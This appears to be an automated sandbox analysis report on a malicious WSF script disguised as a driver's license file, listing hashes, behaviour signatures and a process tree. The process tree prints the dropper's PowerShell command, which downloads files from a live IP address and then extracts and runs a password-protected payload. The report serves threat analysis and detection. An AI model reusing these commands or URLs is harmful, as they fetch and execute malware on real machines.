Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2024, 21:29

General

  • Target

    DRlVERS-LlCENSE.wsf

  • Size

    4KB

  • MD5

    caa57de08040c5a7467546b863c6dade

  • SHA1

    94f12d37d102aece7d32c66256bbe40efb6c1a3b

  • SHA256

    d4f23048f4310ff503350d6d936be6ceaff825ba74cedeb52a783441aca627b7

  • SHA512

    123bc8e1dc3166a07692cf8f1b428cf4366daaceea60438952151cf7ea27493bb302e8f59403172857a1078c66d656d571b591d4541968958a0723626a40c957

  • SSDEEP

    96:pZ9YdUGcYNSoccNLevSNbZ9YdUGcYNSoccNLevSNm:pZ9YGGcYNSoGvSpZ9YGGcYNSoGvSE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.107.185.29:666/Rar.jpg

exe.dropper

http://176.107.185.29:666/load.rar

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DRlVERS-LlCENSE.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2708
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar
      2⤵
        PID:2644

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2708-7-0x000000001B2B0000-0x000000001B592000-memory.dmp

            Filesize

            2.9MB

          • memory/2708-8-0x00000000022E0000-0x00000000022E8000-memory.dmp

            Filesize

            32KB

          • memory/2708-9-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

            Filesize

            9.6MB

          • memory/2708-10-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

            Filesize

            9.6MB

          • memory/2708-11-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/2708-13-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/2708-12-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/2708-14-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/2708-15-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

            Filesize

            9.6MB